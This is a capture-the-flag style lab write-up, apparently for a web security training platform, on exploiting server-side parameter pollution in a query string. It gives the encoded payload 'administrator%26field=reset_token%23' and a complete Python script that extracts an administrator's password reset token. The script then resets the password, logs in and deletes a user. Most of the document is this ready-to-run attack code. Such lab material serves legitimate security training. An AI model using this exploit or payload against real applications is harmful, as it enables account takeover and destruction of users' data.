API Lab 2
Learn how to exploit server‑side parameter pollution in the query string to leak sensitive data and complete an unauthorized action.
Exploiting server-side parameter pollution in a query string#
In this lab, I exploited a query-string based server-side parameter pollution (SSPP) vulnerability. The issue arose from how the backend handled conflicting or duplicated query parameters injected via URL-encoded characters. By manipulating the username
field with encoded characters like %26
(for &
) and %23
(for #
), I was able to inject an additional parameter (field=reset_token
) into the backend request.
This allowed me to extract the password reset token for the administrator user from the API response. After obtaining the token, I was able to reset the administrator’s password, gain access to the admin panel, and delete the user carlos
. This lab emphasized how improper parsing of user input in query strings can lead to high-severity account takeovers.
How Exploit Works#
- Visit the “Forgot Password” page and request a reset token for the administrator.
- Revisit the page and pollute the
username
field with:administrator%26field=reset_token%23
. - The backend parses the injected
field
parameter and returns the reset token in the response. - Use the token to reset the admin password.
- Log in as
administrator
and delete thecarlos
user.
Usage#
python3 exploit.py https://<your-lab-id>.web-security-academy.net
cmdExploit#
import requests
import sys
import urllib3
from bs4 import BeautifulSoup
# Disable SSL warnings for self-signed certs (like in labs/Burp)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Proxy settings for Burp Suite
proxies = {
'http': 'http://127.0.0.1:8080',
'https': 'http://127.0.0.1:8080'
}
def check_burp():
"""
Check if Burp Suite is running by probing the local proxy.
"""
try:
requests.get("http://127.0.0.1:8080", timeout=2)
except requests.exceptions.ConnectionError:
print("[-] Burp Suite is not running or proxy not reachable.")
print("[!] Start Burp and ensure it's listening on 127.0.0.1:8080")
sys.exit(1)
def get_csrf_token(session, url):
"""
Extract the CSRF token from /forgot-password page.
"""
try:
res = session.get(url + "/forgot-password", verify=False, proxies=proxies)
res.raise_for_status()
soup = BeautifulSoup(res.text, 'html.parser')
csrf_input = soup.find("input", {"name": "csrf"})
return csrf_input['value']
except Exception as e:
print(f"[-] Failed to fetch CSRF token: {e}")
sys.exit(1)
def trigger_token_generation(session, url, csrf):
"""
Send initial password reset request to trigger token creation.
"""
data = {
"csrf": csrf,
"username": "administrator"
}
try:
session.post(url + "/forgot-password", data=data, verify=False, proxies=proxies)
except requests.RequestException as e:
print(f"[-] Initial password reset trigger failed: {e}")
sys.exit(1)
def extract_reset_token(session, url, csrf):
"""
Exploit parameter pollution to extract the reset token from the API response.
"""
# Crafted username with encoded special characters to bypass validation
payload = "administrator%26field=reset_token%23"
data = {
"csrf": csrf,
"username": payload
}
try:
res = session.post(url + "/forgot-password", data=data, verify=False, proxies=proxies)
result = res.json()
return result['result']
except (ValueError, KeyError) as e:
print("[-] Failed to extract reset token from response.")
print(f"[!] Response content: {res.text}")
sys.exit(1)
def reset_password(session, url, token, csrf):
"""
Use the stolen reset token to set a new password for administrator.
"""
uri = f"/forgot-password?reset_token={token}"
data = {
"csrf": csrf,
"reset_token": token,
"new-password-1": "Password@123",
"new-password-2": "Password@123"
}
try:
res = session.post(url + uri, data=data, verify=False, proxies=proxies)
if "Password successfully changed" in res.text or res.status_code == 200:
print("[+] Password reset successful!")
else:
print("[-] Password reset may have failed.")
print(res.text)
except requests.RequestException as e:
print(f"[-] Reset password request failed: {e}")
sys.exit(1)
def login(session, url):
"""
Log in as the administrator using the new password.
"""
csrf = get_csrf_token(session, url)
credentials = {
"csrf": csrf,
"username": "administrator",
"password": "Password@123"
}
try:
res = session.post(url + "/login", data=credentials, verify=False, proxies=proxies, allow_redirects=False)
return res.status_code == 302
except requests.RequestException as e:
print(f"[-] Login failed: {e}")
return False
def delete_user(session, url, username="carlos"):
"""
Delete the specified user from the admin panel.
"""
try:
res = session.get(f"{url}/admin/delete?username={username}", verify=False, proxies=proxies)
if "User deleted" in res.text:
print(f"[+] User '{username}' deleted successfully.")
else:
print(f"[-] Failed to delete user '{username}'.")
except requests.RequestException as e:
print(f"[-] Deletion request failed: {e}")
def main():
if len(sys.argv) != 2:
print(f"Usage: python {sys.argv[0]} <url>")
print(f"Example: python {sys.argv[0]} https://target.com")
sys.exit(1)
url = sys.argv[1].strip()
session = requests.Session()
# Step 0: Check if Burp is active
check_burp()
# Step 1: Get initial CSRF token
print("[*] Fetching initial CSRF token...")
csrf = get_csrf_token(session, url)
# Step 2: Trigger password reset to generate token
print("[*] Triggering token generation for administrator...")
trigger_token_generation(session, url, csrf)
# Step 3: Re-fetch CSRF (in case it changes)
csrf = get_csrf_token(session, url)
# Step 4: Exploit to extract token
print("[*] Attempting to extract reset token using SSPP...")
token = extract_reset_token(session, url, csrf)
print(f"[+] Extracted token: {token}")
# Step 5: Reset password
print("[*] Resetting password using the extracted token...")
reset_password(session, url, token, csrf)
# Step 6: Log in with new credentials
print("[*] Logging in as administrator...")
if login(session, url):
print("[+] Logged in successfully as administrator.")
else:
print("[-] Login failed.")
sys.exit(1)
# Step 7: Delete target user
print("[*] Attempting to delete user 'carlos'...")
delete_user(session, url)
if __name__ == "__main__":
main()
python